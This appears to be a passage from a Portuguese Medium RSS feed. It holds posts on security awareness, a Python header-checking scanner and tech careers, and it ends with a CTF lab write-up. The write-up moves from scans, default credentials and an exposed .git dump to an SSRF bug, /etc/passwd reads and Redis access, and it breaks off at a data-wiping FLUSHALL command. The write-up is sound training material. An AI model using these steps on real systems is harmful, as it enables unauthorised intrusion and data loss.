tranca e ferrolho. Uma alguém pode arrombar, mas duas já complica.</p><p><strong>IMPORTANTE</strong>: Evita MFA por SMS ou WhatsApp — os espertos conseguem clonar seu chip. Use app autenticador ou chave de segurança física.</p><h3>A IA vai piorar tudo? (Resposta curta: sim)</h3><p>A inteligência artificial nas mãos de cibercriminosos… já tá rolando:</p><ul><li><strong>Phishing escrito por IA</strong>: emails perfeitos, personalizados, sem erros de português, que parecem ter sido escritos pelo seu Aurelio (Aquele do dicionario).</li><li><strong>Malware inteligente</strong>: que muda o próprio código em tempo real pra despistar antivírus, parece mentira, mas não é!</li><li><strong>Deepfakes</strong>: vídeos e áudios falsos do seu CEO pedindo transferência urgente (KKKKK).</li><li><strong>Ambiente</strong>: O ambiente aonde se tem IA também tem se tornado alvo, não pode vacilar com seu VS Code, GitHub Copilot e afins.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/0*BCM1vP1Vvp9N2Lqq" /></figure><p>É a verdadeira corrida armamentista digital, e tá só começando. ☠️</p><h3>Conclusão: Não Entre em Pânico #DONTPANIC (Mas Fique Esperto)</h3><p>Segurança digital em 2025 não precisa ser um pesadelo:</p><p>🎯Desconfiar de urgências (“Clique AGORA ou sua conta será DELETADA!”).<br>🔐 Ativar autenticação em dois fatores.<br>😒 Manter tudo atualizado (sim, aquelas atualizações chatas).<br>♾️ Pensar <strong>42 </strong>vezes antes de clicar.<br>🦠 Usar antivírus de verdade (não aquele que veio num pop-up do site que toca musica do <em>Brazzino </em>🔞).</p><h4>Lembre-se: Cibersegurança não é só sobre tecnologia — é sobre <strong>comportamento</strong>. O melhor antivírus do mundo não te salva se você clicar em “Você ganhou um iPhone, clique aqui!”.</h4><p>Mantenha o cérebro ligado, o senso crítico afiado e a paranoia saudável, seus dados agradecem.</p><p><strong>Compartilha aí pra salvar aquele amigo que cai em tudo! 😅🔒</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1837f9819159" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Como Automatizei uma simples verificação de Segurança Web com um Script Python]]></title>
            <link>https://medium.com/@silvasec/como-automatizei-uma-simples-verifica%C3%A7%C3%A3o-de-seguran%C3%A7a-web-com-um-script-python-8d2ddeb2f062?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d2ddeb2f062</guid>
            <category><![CDATA[infosecurity]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Thu, 25 Sep 2025 22:06:35 GMT</pubDate>
            <atom:updated>2025-09-25T22:06:35.889Z</atom:updated>
            <content:encoded><![CDATA[<p>De horas de cliques em abas a um único comando no terminal. Uma história sobre a automação da validação de CSP, HSTS e certificados SSL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XbkKyHez7ntf1qwf" /></figure><p>Toda vez é a mesma história. Você finaliza o deploy de um novo site ou aplica uma série de patches de segurança em vários servidores. O trabalho pesado parece ter acabado. Você se recosta na cadeira, toma um gole de café e, então, ela chega: <strong>a lista</strong>. Uma planilha ou um ticket com dezenas de URLs internas e a incumbência de “validar se as políticas de segurança foram aplicadas corretamente”.</p><p>É o início de um ritual lento e doloroso.</p><h3>A Rotina Lenta e Frustrante da Verificação Manual</h3><p>Para cada URL da lista, o processo começa:</p><ol><li>Abro o site no navegador.</li><li>Abro as Ferramentas de Desenvolvedor (F12) para checar os cabeçalhos de resposta. O Content-Security-Policy (CSP) está lá? Ele contém &#39;unsafe-inline&#39;? E o X-Frame-Options?</li><li>Abro uma nova aba e vou até um testador de SSL para verificar o tempo de expiração do certificado e se o hostname corresponde.</li><li>Em outra aba, acesso o site do HSTS Preload para ver se o domínio está na lista.</li><li>Tento acessar a versão http:// para garantir que o redirecionamento para https:// está funcionando.</li><li>Repito tudo para a próxima URL.</li></ol><p>Depois da quinta URL, a atenção começa a falhar. A mente entra no piloto automático. Será que eu verifiquei a diretiva includeSubDomains no HSTS do site anterior ou só imaginei isso? A frustração cresce. Esse trabalho é repetitivo, demorado e terrivelmente propenso a erro humano. E se a lista tivesse 50 domínios? A tarefa levaria horas.</p><p>Foi em um desses dias, com uma lista de 15 URLs para validar, que o estalo veio. “Já chega. Eu não sou um desenvolvedor mas eu consigo automatizar coisas.”</p><h3>Por que o Python?</h3><p>Eu precisava de uma ferramenta que pudesse fazer tudo isso por mim, direto do meu terminal. A escolha da linguagem foi óbvia: Python. Com sua sintaxe limpa e um ecossistema de bibliotecas robusto, ele é o canivete suíço perfeito para esse tipo de automação.</p><p>Com as bibliotecas requests para fazer as chamadas HTTP e ssl para inspecionar os certificados, eu tinha os blocos de construção fundamentais. O plano era simples: criar um script que lesse uma lista de URLs e, para cada uma, executasse a mesma bateria de testes que eu fazia manualmente.</p><h3>Mãos à Obra: Construindo Nosso Scanner de Segurança</h3><p>Comecei a traduzir meu fluxo de trabalho manual em funções Python. A beleza da programação é como ela força você a sistematizar o conhecimento.</p><p>Primeiro, a análise dos cabeçalhos. Com uma única requisição, eu poderia capturar todos os headers de uma vez e verificar cada política que precisava.</p><pre># Parte da lógica para analisar os headers<br>headers = response.headers<br><br># --- CSP (Content Security Policy) ---<br>csp = headers.get(&#39;Content-Security-Policy&#39;)<br>if not csp:<br>    print(f&quot;{RED}[FAIL]{RESET} CSP is not implemented.&quot;)<br>else:<br>    print(f&quot;{GREEN}[PASS]{RESET} CSP is implemented.&quot;)<br>    if &#39;unsafe-eval&#39; in csp:<br>        print(f&quot;{RED}[FAIL]{RESET} CSP contains unsafe-eval.&quot;)<br><br># --- HSTS (HTTP Strict Transport Security) ---<br>hsts = headers.get(&#39;Strict-Transport-Security&#39;)<br>if not hsts:<br>    print(f&quot;{RED}[FAIL]{RESET} HTTP Strict Transport Security (HSTS) not enforced.&quot;)<br>else:<br>    if &#39;includeSubDomains&#39; in hsts:<br>        print(f&quot;{GREEN}[PASS]{RESET} HSTS header contains &#39;includeSubDomains&#39;.&quot;)</pre><p>Aos poucos, o script foi tomando forma. Adicionei a verificação do certificado SSL, a consulta à API do HSTS Preload e a checagem do redirecionamento. O resultado foi uma ferramenta que fazia em segundos o que me levava quase uma hora.</p><p>Conforme usei a ferramenta, percebi que às vezes eu só queria checar uma única URL rapidamente, sem precisar criar um arquivo de texto. A evolução foi natural: adicionei uma lógica simples para que o script aceitasse tanto um arquivo .txt quanto um domínio diretamente como argumento.</p><pre># Lógica para aceitar arquivo ou URL única<br>input_arg = sys.argv[1]<br>urls = []<br><br>if os.path.isfile(input_arg):<br>    # Se for um arquivo, lê as linhas<br>    with open(input_arg, &#39;r&#39;) as f:<br>        urls = [line.strip() for line in f if line.strip()]<br>else:<br>    # Se não, trata como URL única<br>    urls.append(input_arg)</pre><h3>A Nova Realidade: Validação em Segundos</h3><p>Hoje, o ritual é diferente. A mesma lista de 15 URLs chega. Em vez de um suspiro de frustração, abro meu terminal e executo um único comando:</p><p>python WSPS.py urls_para_validar.txt</p><p>Em menos de um minuto, tenho um relatório completo e colorido, mostrando exatamente o que está em conformidade e o que precisa de atenção. A validação de segurança deixou de ser um gargalo para se tornar uma etapa trivial e eficiente do meu fluxo de trabalho.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*JzzQ9A7xiRbD-foMrq7Lzw.png" /></figure><h3>Mais que um script, uma mentalidade!</h3><p>Essa jornada para criar uma ferramenta simples reforçou uma lição poderosa: as tarefas mais tediosas e repetitivas são, muitas vezes, as melhores candidatas à automação. No mundo da segurança e do DevOps, onde a consistência é fundamental, automatizar nossas verificações não é um luxo, é uma necessidade.</p><p>O <strong>Web Security Policy Scanner (WSPS)</strong> nasceu de uma frustração pessoal, mas se tornou um exemplo de como podemos transformar nosso próprio trabalho com algumas linhas de código.</p><p>E a melhor parte? Ele é open-source. Se você enfrenta o mesmo desafio, eu te convido a usar, aprimorar e contribuir com o projeto.</p><p><strong>Você pode encontrar o código completo no meu GitHub:</strong> <a href="https://github.com/Silva-Sec/PurpleTeaming/tree/main/WebSecurityPolicyScanner">https://github.com/Silva-Sec/PurpleTeaming/tree/main/WebSecurityPolicyScanner</a></p><p>Vamos parar de clicar e começar a scriptar.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d2ddeb2f062" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[As 5 carreiras mais promissoras (2025–2030) para iniciantes em tecnologia!]]></title>
            <link>https://medium.com/@silvasec/as-5-carreiras-mais-promissoras-2025-2030-para-iniciantes-em-tecnologia-1e9b38d2ef47?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e9b38d2ef47</guid>
            <category><![CDATA[carreira]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[tecnologia]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 20:47:25 GMT</pubDate>
            <atom:updated>2025-08-11T21:53:20.836Z</atom:updated>
            <content:encoded><![CDATA[<p>Trabalho com tecnologia há mais de 17 anos (sim, antes de muita gente aqui saber o que era um smartphone 😅). Outro dia, algumas pessoas me perguntaram: <strong>“Como eu faço pra começar na área?”</strong> Minha primeira ideia foi contar como eu comecei, as escolhas que fiz e os caminhos que segui. Mas aí parei pra pensar: repetir meu trajeto hoje não faria sentido. O mundo mudou — e mudou muito — desde aquela época. Então decidi fazer diferente. Passei a última semana pesquisando quais são as áreas mais promissoras para quem quer entrar agora no mercado de tecnologia, mesmo sem experiência.</p><p>E aqui vai o meu TOP 5 para os próximos cinco anos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WBTDM3NxPpzbsNnUjmBobA.png" /><figcaption><em>(Duvidas, Críticas ou Sugestões, utilize o campo comentarios)</em></figcaption></figure><blockquote>⚠️Não se assuste com os nomes e termos, provavelmente você não sabe o que significam, e é exatamente por isso que você está aqui!⚠️</blockquote><h3><strong>1. </strong>🤖<strong>AI Engineer / Desenvolvedor de apps com IA (LLMs, agentes)</strong></h3><p>Um <strong>AI Engineer / Desenvolvedor de apps com IA</strong> é a pessoa que <strong>pega a “inteligência” de um modelo de IA</strong> (como o ChatGPT, Claude ou Gemini) e <strong>transforma isso em aplicativos e sistemas úteis para empresas ou usuários</strong>.</p><p>Não é só “falar com a IA” — esse profissional <strong>ensina a IA a trabalhar para um objetivo específico</strong>, conecta ela a bancos de dados, sistemas internos ou APIs, e garante que a resposta dela seja confiável e segura.</p><p>📌 <strong>O que faz no dia a dia</strong></p><ul><li><strong>Configurar a IA</strong> para entender a linguagem e os termos da empresa.</li><li><strong>Ligar</strong> a IA ao banco de dados e sistemas da empresa.</li><li><strong>Treinar/ajustar</strong> para que ela responda certo e dentro das regras.</li><li><strong>Colocar no ar</strong> como um site, app ou integração com WhatsApp, e manter funcionando.</li></ul><h4>💡 <strong>Exemplo para leigos</strong></h4><p>Imagine que uma empresa quer um assistente virtual que:</p><ol><li>Leia documentos internos.</li><li>Responda perguntas de clientes usando esses documentos.</li><li>Registre tudo no sistema de atendimento.</li></ol><p>Em termos simples: É o <strong>arquiteto e construtor</strong> de aplicativos que usam IA para resolver problemas do mundo real.</p><h4>Por quê 🚩:</h4><p>IA e Big Data lideram como competências que mais crescem, e funções de IA estão no topo das listas anuais de cargos em alta. Empresas já exigem “AI literacy”. <a href="https://www.weforum.org/publications/the-future-of-jobs-report-2025/">World Economic ForumFast CompanyMicrosof</a>t</p><ul><li><strong>Rota rápida (0–3 meses):</strong> Python + APIs de LLM (OpenAI/Anthropic), fundamentos de prompt engineering, RAG básico (vetores), Git.</li><li><strong>Primeiros projetos:</strong> chatbot com memória; automação de atendimento; agente que lê PDFs e cria relatórios.</li><li><strong>Como evoluir (6–12 meses):</strong> MLOps/LLMOps (deploy, monitoramento, avaliação), pipelines de dados.</li></ul><p><strong>🛜Pessoas para seguir:</strong> <a href="https://www.instagram.com/ahirtonlopes">ahirtonlopes</a></p><h3>2. 🛡️<strong>Analista de Segurança / SOC</strong> (Security Operations Center)</h3><p>Um <strong>Analista de Segurança / SOC</strong> (Security Operations Center) é como um <strong>“guarda-costas digital”</strong> que fica monitorando, em tempo real, se alguém está tentando invadir, roubar ou causar danos a sistemas e dados de uma empresa.</p><p>📌 <strong>O que faz no dia a dia</strong></p><ul><li><strong>Monitora alertas</strong> vindos de sistemas que registram tudo o que acontece na rede (como câmeras, só que para computadores).</li><li><strong>Identifica ameaças</strong> — por exemplo, um acesso suspeito vindo de outro país ou um arquivo que parece vírus.</li><li><strong>Responde rápido</strong> — pode bloquear um usuário, isolar um computador ou avisar a equipe técnica para corrigir um problema.</li><li><strong>Investiga incidentes</strong> para descobrir o que aconteceu, como aconteceu e como evitar que aconteça de novo.</li></ul><h4>💡<strong>Exemplo para leigos:</strong></h4><p>Pense em um shopping com centenas de lojas. O SOC é a <strong>sala de segurança</strong> com monitores e alarmes, e o analista é a pessoa que <strong>fica de olho nas câmeras digitais da rede</strong>. Se vê algo estranho, ele <strong>age rápido para conter o problema</strong> antes que cause prejuízo.</p><h4><strong>Por quê 🚩:</strong></h4><p>É uma das ocupações que mais crescem na década (≈33% nos EUA) e o risco cibernético segue aumentando em frequência e sofisticação. <a href="https://www.bls.gov/ooh/computer-and-information-technology/information-security-analysts.htm">Bureau of Labor StatisticsWorld Economic Forum Reports</a></p><ul><li><strong>Rota rápida (0–3 meses):</strong> redes + Linux + fundamentos de incident response, SIEM (p.ex., Splunk/Elastic), MITRE ATT&amp;CK.</li><li><strong>Primeiros projetos:</strong> laboratório com ELK capturando logs; detecções básicas; playbooks.</li><li><strong>Como evoluir (6–12 meses):</strong> Threat hunting, engenharia de detecção, cloud security.</li></ul><p><strong>Bonus — um RoadMap</strong>: <a href="https://github.com/guiaanonima/roadmap">https://github.com/guiaanonima/roadmap</a></p><p><strong>🛜Pessoas para seguir: </strong><a href="https://www.instagram.com/canalguiaanonima/">GuiaAnonima</a>, <a href="https://www.instagram.com/hackingclub.io/">HackingClub</a>, <a href="https://www.instagram.com/hackingnaweboficial/">Rafael Sousa</a></p><h3>3.☁️Cloud &amp; Platform Engineering (DevOps/SRE inicial)</h3><p>Um profissional de <strong>Cloud &amp; Platform Engineering</strong> (no nível inicial, em funções como DevOps ou SRE júnior) é a <strong>pessoa que constrói e mantém a “infraestrutura invisível” onde os sistemas e aplicativos rodam</strong>.</p><p>📌 <strong>O que isso significa no dia a dia</strong></p><ul><li><strong>Coloca no ar</strong> aplicativos e serviços na nuvem (AWS, Azure, Google Cloud).</li><li><strong>Automatiza</strong> tarefas que antes eram feitas manualmente, como instalar servidores, criar backups ou atualizar sistemas.</li><li><strong>Garante que tudo funcione 24/7</strong>, monitorando desempenho, corrigindo problemas e evitando quedas.</li><li><strong>Cuida de segurança e custos</strong>, para que a nuvem seja usada de forma eficiente e protegida.</li></ul><p>💡 <strong>Exemplo para leigos: <br></strong>Imagine que um aplicativo de delivery precisa funcionar para milhões de pedidos por dia. O desenvolvedor cria o app, mas <strong>quem monta e mantém o “palco” onde ele roda é o Cloud Engineer</strong>. É como o <strong>responsável por toda a cozinha, energia, água e logística de um restaurante</strong> — sem ele, o show (o app) não acontece.</p><h4>Por quê 🚩:</h4><p>A adoção de “platform engineering” está disparando; a maioria das grandes empresas deve ter times dedicados até 2026 e mais da metade já adotou — tendência que cresce. <a href="https://cloud.google.com/blog/products/application-modernization/new-platform-engineering-research-report">Relatorio da Google</a></p><ul><li><strong>Rota rápida (0–3 meses):</strong> Linux + Git + Docker + fundamentos de AWS/Azure + CI/CD (GitHub Actions).</li><li><strong>Primeiros projetos:</strong> pipeline até produção num cluster simples; observabilidade básica.</li><li><strong>Como evoluir (6–12 meses):</strong> Kubernetes, IaC (Terraform), custo/segurança na nuvem.</li></ul><p><strong>🛜Pessoas para seguir:</strong> <a href="https://www.instagram.com/fidelissauro/">fidelissauro</a></p><h3>4.🎲Data Analyst → Analytics/AI Data Engineer (trilha de dados)</h3><p>Um <strong>Data Analyst</strong> (Analista de Dados) é a pessoa que <strong>pega um monte de informações brutas e transforma em respostas claras para ajudar empresas a tomar decisões</strong>.</p><p>Quando ele evolui para <strong>AI Data Engineer</strong>, passa a <strong>preparar e organizar os dados para que modelos de inteligência artificial também possam entender e usar essas informações</strong>.</p><p>📌 <strong>O que faz no dia a dia</strong></p><ul><li><strong>Coleta dados</strong> de várias fontes (planilhas, sistemas, APIs).</li><li><strong>Limpa e organiza</strong> esses dados para evitar erros e duplicações.</li><li><strong>Analisa e cria relatórios</strong> com gráficos e dashboards que mostram tendências e problemas.</li><li><strong>(Como AI Data Engineer)</strong> constrói pipelines que alimentam modelos de IA com dados prontos e de qualidade.</li></ul><p>💡 <strong>Exemplo para leigos:</strong><br>Pense em uma empresa de vendas online. Ela tem dados de pedidos, clientes, produtos e reclamações. O <strong>Data Analyst</strong> vai organizar essas informações e responder perguntas como:</p><ul><li>“Quais produtos vendem mais?”</li><li>“Em que época as vendas caem?”</li><li>“Quais clientes têm mais chance de comprar de novo?”</li></ul><p>Já o <strong>AI Data Engineer</strong> garante que esses mesmos dados estejam <strong>bem estruturados</strong> para que a IA consiga, por exemplo, prever vendas futuras ou recomendar produtos para cada cliente.</p><h4>Por quê 🚩:</h4><ul><li><strong>Demanda </strong>por dados segue forte; data scientists crescem ~36% (2023–2033) e “AI &amp; Big Data” aparecem no topo das skills em ascensão. <a href="https://www.weforum.org/publications/the-future-of-jobs-report-2025">Bureau of Labor StatisticsWorld Economic Forum</a></li><li><strong>Rota rápida (0–3 meses):</strong> SQL + Python (Pandas) + BI (Power BI/Looker).</li><li><strong>Primeiros projetos:</strong> dashboard de negócio com dados públicos; análise de churn; forecast simples.</li><li><strong>Como evoluir (6–12 meses):</strong> dbt, orquestração (Airflow), modelagem para RAG/LLMs.</li></ul><p><strong>🛜Pessoas para seguir:</strong> <a href="https://www.instagram.com/teomewhy/">teomewhy</a></p><h3>5. 💻Automation Developer (RPA + IA)</h3><p>Um <strong>Automation Developer (RPA + IA)</strong> é a pessoa que <strong>cria “robôs de software” para fazer tarefas repetitivas no lugar das pessoas</strong>, muitas vezes usando inteligência artificial para deixar esses robôs mais espertos.</p><p>📌 <strong>O que faz no dia a dia</strong></p><ul><li><strong>Mapeia processos</strong> que hoje são feitos manualmente (ex.: copiar dados de um sistema para outro, preencher planilhas, responder e-mails padrão).</li><li><strong>Cria robôs</strong> que imitam o que um humano faria no computador — clicando, digitando e lendo dados.</li><li><strong>Usa IA</strong> para melhorar o robô, como entender textos, classificar documentos ou responder perguntas.</li><li><strong>Mantém e melhora</strong> esses robôs conforme o processo muda.</li></ul><p>💡 <strong>Exemplo para leigos:</strong><br>Imagine uma empresa que recebe centenas de notas fiscais por e-mail todo mês. O Automation Developer pode criar um <strong>robô que abre cada e-mail, baixa a nota, extrai os dados e lança automaticamente no sistema da empresa</strong>. Se usar IA, o robô ainda pode <strong>entender formatos diferentes</strong>, corrigir erros e até enviar alertas se algo parecer estranho.</p><p>É como ter <strong>um assistente virtual invisível</strong>, que trabalha 24 horas por dia, sem café, sem férias e sem reclamar.</p><h4>Por quê 🚩:</h4><ul><li>Mercados de RPA/hiperautomação seguem em crescimento e estão convergindo com IA; empresas buscam ganhos de eficiência agora. <a href="https://www.blueprism.com/resources/blog/future-of-rpa-trends-predictions">Predictions and Trends by BluePrism</a></li><li><strong>Rota rápida (0–3 meses):</strong> um stack de RPA (UiPath/Power Automate), automação de tarefas de escritório, integrações API.</li><li><strong>Primeiros projetos:</strong> robot de contas a pagar; extração de dados de PDFs; “copilots” internos.</li><li><strong>Como evoluir (6–12 meses):</strong> combinar RPA + LLM (classificar e redigir), governança e métricas.</li></ul><p><strong>🛜Pessoas para seguir:</strong> ??????</p><h3>🥸Como orientar-se: para quem está começando (sem experiência)</h3><p><strong>Escolher 1 trilha</strong> e fazer alguns projetos, 2-<strong>3 projetos práticos</strong> que resolvam dores reais (portfólio público no GitHub + case curto no LinkedIn).</p><p><strong>Certificação de entrada (opcional, ajuda a sinalizar):</strong></p><ul><li><strong>IA/Cloud:</strong> AWS Cloud Practitioner ou AZ-900.</li><li><strong>Cyber:</strong> Security+ ou Blue Team Level 1.</li><li><strong>Dados:</strong> Google Data Analytics/IBM Data Analyst.</li><li><strong>RPA:</strong> UiPath Associate / Power Automate Fundamentals.</li></ul><p><strong>Estágio/freela rápido:</strong> procurar <em>job titles</em> equivalentes em PT/EN (ex.: “Jr. SOC Analyst”, “Platform/DevOps Intern”, “AI App Developer”, “Junior Data Analyst”).</p><blockquote><strong><em>Nota realista</em></strong><em>: apesar de cortes em áreas tradicionais, tech como um todo segue crescendo acima da média, e funções de IA, dados, nuvem e segurança concentram a demanda de 2025 em diante. Foque em </em><strong><em>skills comprovadas</em></strong><em> e projetos que mostrem impacto. </em><a href="https://www.bls.gov/ooh/computer-and-information-technology"><em>Bureau of Labor Statistics</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e9b38d2ef47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Writeup: De Reconnaissance a Root]]></title>
            <link>https://medium.com/@silvasec/ctf-writeup-de-reconnaissance-a-root-1f11df87f94a?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f11df87f94a</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Wed, 06 Aug 2025 18:26:46 GMT</pubDate>
            <atom:updated>2025-08-06T18:26:46.374Z</atom:updated>
            <content:encoded><![CDATA[<h3>CTF — Writeup: De Reconnaissance a Root</h3><p><strong>Target</strong>: Rain ☔<br><strong>Dificuldade</strong>: Dificil 🐔<br><strong>Plataforma</strong>: <a href="https://app.hackingclub.com/training/learning-paths/4/machine/67">HackingClub</a><br><strong>Sistema Operacional</strong>: Linux<br><strong>Tempo de Exploração</strong>: 7–8 hrs (Esse foi o tempo que eu levei)<br><strong>Vulnerabilidades conhecidas</strong>: Git Exposed, SSRF, Local File Read, Redis, RCE, Path Hijacking<br><strong>Status</strong>: PWNED 🎯</p><p>Este writeup documenta a solução completa de um CTF que envolveu múltiplas vulnerabilidades encadeadas, desde reconnaissance inicial até privilege escalation para root. O ambiente apresentava 4 flags distribuídas através de diferentes vetores de ataque, exigindo uma abordagem metodológica e o domínio de várias técnicas de penetration testing.</p><blockquote><strong>Objetivo</strong>: Encontrar 4 flags através da exploração de vulnerabilidades.</blockquote><h3>Fase 1: Reconnaissance e Enumeração</h3><h4>Análise Inicial da Aplicação</h4><p>O primeiro passo foi acessar a aplicação web que apresentava apenas uma página com uma imagem de chuva animada. A análise do código fonte revelou informações iniciais importantes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ggMz2M8UHT-HgXXqTn2p7A.png" /><figcaption>Pagina web</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*MaZ3z6W2T9acmBeQ2YC2aQ.png" /><figcaption>Vamos dar uma olhada nesse style.css</figcaption></figure><pre>&lt;link rel=&quot;stylesheet&quot; href=&quot;./style.css&quot;&gt;</pre><p>O arquivo CSS mostrava URLs externas sendo carregadas:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfjWkpoJ01YEZcKYJ5hNqQ.png" /><figcaption>Talvez um SSRF?</figcaption></figure><pre>section {<br>    background-image: url(https://medium.com/&#39;/HenriPrestes_02.jpg&#39;);<br>}<br>section::before {<br>    background-image: url(https://medium.com/&#39;http://pngimg.com/uploads/rain/rain_PNG13468.png&#39;);<br>}</pre><p>Port Scanning e Service Discovery</p><p>Fiz um scan rapido;</p><pre>nmap -sV -sC 172.16.7.200</pre><h4><strong>Resultados</strong>:</h4><ul><li><strong>22/tcp</strong>: SSH OpenSSH 7.4</li><li><strong>80/tcp</strong>: HTTP (PHP 7.4.26) — WorldSkills WebServer</li><li><strong>443/tcp</strong>: HTTPS (PHP 7.4.26) — WorldSkills WebServer</li><li><strong>111/tcp</strong>: RPC</li></ul><p>Parti para o Directory Enumeration.</p><pre>dirsearch -u http://172.16.7.200 -e php,html,js,txt</pre><h4><strong>Descobertas importantes</strong>:</h4><ul><li>/robots.txt - Continha diretório restrito</li><li>/admin-secret-panel/ - Panel administrativo</li><li>/search/ - Diretório com redirect 301</li></ul><h4>O que é o robots.txt?</h4><p>O arquivo robots.txt é um padrão web usado por sites para se comunicar com web crawlers e bots de motores de busca. Ele informa a esses programas automatizados quais partes do site eles devem ou não devem acessar.</p><p>Quando realizamos a enumeração de diretórios no alvo, encontramos:</p><pre>User-agent: *<br>Disallow: /admin-secret-panel/<br>Allow: /search</pre><h4><strong>Detalhando essa configuração:</strong></h4><p><strong>User-agent: *</strong></p><ul><li>O asterisco (*) significa que esta regra se aplica a TODOS os web crawlers</li></ul><p><strong>Disallow: /admin-secret-panel/</strong></p><ul><li>Isso instrui os crawlers a NÃO indexar ou visitar o diretório /admin-secret-panel/</li><li>Do ponto de vista de segurança, isso é problemático porque revela a existência de um diretório sensível</li><li>É essencialmente como anunciar “Ei, há um painel de admin aqui, mas não olhe para ele”</li></ul><p><strong>Allow: /search</strong></p><ul><li>Isso permite explicitamente que os crawlers acessem o diretório /search</li></ul><h4>Acesso ao Admin Panel</h4><p>O admin panel era protegido por autenticação básica que foi facilmente bypassada com credenciais padrão:</p><p><strong>Credenciais</strong>: admin:admin</p><p>O panel mostrava uma mensagem “This admin panel is currently under construction” mas isso era apenas o começo.</p><h3>Fase 2: Git Exposed — Source Code Extraction</h3><h4>Descoberta do Repositório Git</h4><p>Através de directory enumeration mais detalhada no admin panel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpAJ_EoKnKtZKm4zoZzGZw.png" /></figure><p><strong>Descoberta crítica</strong>: .git directory exposto em /admin-secret-panel/.git/</p><h4>Extração do Código Fonte</h4><p>Eu usei o git-dumper, mas da pra fazer com outras tools tambem.</p><pre>git-dumper http://172.16.13.206/admin-secret-panel/.git/ ./admin_git/</pre><h4>Análise do Código Extraído</h4><p><strong>Estrutura do projeto</strong>:</p><pre>admin_git/<br>├── .git/<br>├── includes/<br>│   ├── AuthController.php<br>│   └── HomeController.php<br>├── index.php<br>└── views/<br>    ├── admin.php<br>    ├── login.php<br>    └── test.php</pre><h4>index.php — Primeira Flag e Actions Descobertas</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WmnMYW9rE-4N5gzV0mw4w.png" /><figcaption>A primeira flag veio explorando .git, estava em um index.php</figcaption></figure><h4>test.php — SSRF Vulnerability Discovery</h4><p>O arquivo test.php foi o mais interessante, e revelou uma vulnerabilidade crítica de SSRF:</p><pre>&lt;?php <br>if(isset($_POST[&#39;url&#39;])){<br>    $url = $_POST[&#39;url&#39;];<br>    $ch = curl_init($url);<br>    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br>    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);<br>    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br>    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);<br>    $result = curl_exec($ch);<br>    curl_close($ch);<br>    echo $result;<br>}<br>?&gt;</pre><p>Esta descoberta foi fundamental: um formulário que aceita URLs e faz requisições via cURL!</p><h4>AuthController.php — Database Credentials</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zx49Pny88Ss6iit-K2WU-A.png" /><figcaption>Usuario e senha do banco no AuthController.php</figcaption></figure><p>Ja tinha bastante coisa pra brincar, hora de colocar tudo isso a prova.</p><h3>Fase 3: SSRF e Local File Read Exploitation</h3><blockquote>Acessando o Endpoint SSRF</blockquote><p>Com as informações do código fonte, foi possível acessar o endpoint vulnerável:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8ts2Rw4UPJw7IlmrwXpYg.png" /><figcaption>Foi aqui que começou a exploração de verdade!</figcaption></figure><p>Apos algumas tentativas, consegui ler o /etc/passwd, achei nosso ponto de entrada e padrão a ser explorado.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*fhzJrhiSiukFUECYrRdXXg.png" /></figure><h4>Descoberta da Configuração do Redis</h4><p>Através do LFI, foi possível ler o arquivo de configuração do Redis:</p><p>Eu não sabia aonde procurar, pois o output era gigante. Então comecei a buscar por palavras chaves como username, password, key, e encontrei a segunda flag e a senha do REDIS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*hxH7dH1k7a0LTj53JgSCkA.png" /></figure><h4>Fase 4: Redis Exploitation e RCE</h4><h4>Acesso Direto ao Redis</h4><p>Com a senha em mãos, agora o ponto era explorar o REDIS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*tskb-jaWK7XrmtbVWc8XAw.png" /><figcaption>Retornou OK, entao estamos dentro!</figcaption></figure><p>Tentativa de RCE via Redis:</p><p>Procurei na net, e encontrei esse artigo aqui falando sobre: <a href="https://hacktricks.boitatech.com.br/pentesting/6379-pentesting-redis">https://hacktricks.boitatech.com.br/pentesting/6379-pentesting-redis</a></p><pre>172.16.14.17:6379&gt; FLUSHALL<br>172.16.14.17:6379&gt; 